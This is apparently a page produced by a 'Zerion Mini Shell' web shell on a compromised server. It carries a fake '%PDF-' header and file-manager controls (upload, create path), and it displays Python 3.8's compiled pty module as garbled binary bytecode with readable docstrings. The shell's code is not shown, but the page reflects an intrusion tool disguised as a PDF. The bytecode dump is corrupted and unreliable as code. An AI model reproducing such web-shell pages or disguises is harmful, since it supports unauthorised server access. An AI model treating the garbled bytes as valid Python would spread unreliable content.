%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/local/lib/python3.8/__pycache__/
Upload File :
Create Path :
Current File : //usr/local/lib/python3.8/__pycache__/pty.cpython-38.pyc

U

na@sdZddlmZddlZddlZddlZdddgZdZdZdZdZ	d	dZ
d
dZdd
ZddZ
ddZddZddZeefddZeefddZdS)zPseudo terminal utilities.)selectNopenptyforkspawnc	Cs>z
tWSttfk
r"YnXt\}}t|}||fS)zdopenpty() -> (master_fd, slave_fd)
    Open a pty master/slave pair, using os.openpty() if possible.)osrAttributeErrorOSError_open_terminal
slave_open)	master_fd
slave_nameslave_fdr/usr/local/lib/python3.8/pty.pyrs

c	CsLzt\}}Wnttfk
r(YnXt|}t|||fStS)zmaster_open() -> (master_fd, slave_name)
    Open a pty master and return the fd, and the filename of the slave end.
    Deprecated, use openpty() instead.)rrr	r
ttynamecloser)r
rrrrrmaster_open"s

rc
CsndD]\}dD]R}d||}zt|tj}Wntk
rFYqYnX|d||fSqtddS)z1Open pty master and return (master_fd, tty_name).ZpqrstuvwxyzPQRSTZ0123456789abcdefz/dev/ptyz/dev/ttyzout of pty devicesN)ropenO_RDWRr
)xyZpty_namefdrrrr2s
rcCsrt|tj}zddlm}m}Wntk
r:|YSXz|||d|||dWntk
rlYnX|S)zslave_open(tty_name) -> slave_fd
    Open the pty slave and acquire the controlling terminal, returning
    opened filedescriptor.
    Deprecated, use openpty() instead.r)ioctlI_PUSHZptemZldterm)rrrZfcntlrrImportErrorr
)Ztty_nameresultrrrrrr>s
rc	Cszt\}}Wnttfk
r(Yn4X|tkrTztWntk
rRYnX||fSt\}}t}|tkrtt|t	|t
t	|tt	|t|tkrt|t
tttj}t|n
t|||fS)zdfork() -> (pid, master_fd)
    Fork and make the child a session leader with a controlling terminal.)rforkptyr	r
CHILDsetsidrrrdup2STDIN_FILENO
STDOUT_FILENO
STDERR_FILENOrrr)pidrr
rZtmp_fdrrrrPs0



cCs"|rt||}||d}qdS)z#Write all the data to a descriptor.N)rwrite)rdatanrrr_writenxsr)cCst|dS)zDefault read function.i)rread)rrrr_read~sr+cCsv|tg}t|gg\}}}||krF||}|s:||ntt|t|kr|t}|sf|tqt||qdS)zParent copy loop.
    Copies
            pty master -> standard output   (master_read)
            standard input -> pty master    (stdin_read)N)r"rremoverr&r#r))r
master_read
stdin_readfdsZrfdsZwfdsZxfdsr'rrr_copysr0cCst|tdkr|f}td|t\}}|tkrHtj|df|ztt	}t
t	d}Wntjk
r~d}YnXzt|||Wn(t
k
r|rtt	tj|YnXt|t|ddS)zCreate a spawned process.z	pty.spawnrr)typesysauditrrrexeclpttyZ	tcgetattrr"Zsetrawerrorr0r
Z	tcsetattrZ	TCSAFLUSHrwaitpid)argvr-r.r%r
modeZrestorerrrrs&




)__doc__rrr3r6__all__r"r#r$rrrrrrr)r+r0rrrrr<module>s$
(

Zerion Mini Shell 1.0